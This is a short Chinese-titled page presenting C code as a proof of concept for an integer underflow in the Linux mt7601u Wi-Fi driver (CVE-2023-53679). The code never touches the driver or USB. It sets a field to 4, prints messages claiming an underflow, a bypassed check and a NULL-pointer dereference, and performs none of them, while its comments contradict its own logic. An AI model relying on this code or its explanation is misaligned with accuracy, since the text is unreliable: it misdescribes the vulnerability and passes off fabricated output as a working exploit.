CVE-2023-53679 Linux内核mt7601u驱动整数下溢漏洞

// CVE-2023-53679 PoC - Trigger integer underflow in mt7601u driver // This PoC simulates the malicious URB packet that triggers the vulnerability // by sending a crafted USB packet with manipulated dma_len value. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Simulated URB packet structure with manipulated dma_len struct urb_packet { uint32_t dma_len; // Manipulated to be less than min_seg_len uint8_t data[4096]; // Packet data buffer }; // min_seg_len threshold from mt7601u driver #define MIN_SEG_LEN 8 // Function to simulate the vulnerable code path void trigger_underflow(struct urb_packet *urb) { // Set dma_len to a value smaller than MIN_SEG_LEN // This triggers the integer underflow in seg_len calculation urb->dma_len = 4; // Less than MIN_SEG_LEN (8) // Simulate mt7601u_rx_process_seg() seg_len calculation uint32_t seg_len = urb->dma_len; // This would underflow // The bad_frame check is bypassed due to underflow if (seg_len < MIN_SEG_LEN) { // Without the fix, this check is bypassed printf("[!] Integer underflow triggered: seg_len=%u\n", seg_len); printf("[!] bad_frame check bypassed\n"); // Null pointer dereference occurs here char *p = NULL; printf("[!] Dereferencing NULL pointer at offset 8...\n"); // This would crash: *(p + 8) in skb_add_rx_frag // Dereference NULL + 8 triggers KASAN null-ptr-deref } } int main() { struct urb_packet *urb = malloc(sizeof(struct urb_packet)); if (!urb) return 1; printf("[*] CVE-2023-53679 PoC - mt7601u integer underflow\n"); printf("[*] Sending crafted URB with dma_len < min_seg_len\n\n"); trigger_underflow(urb); free(urb); return 0; }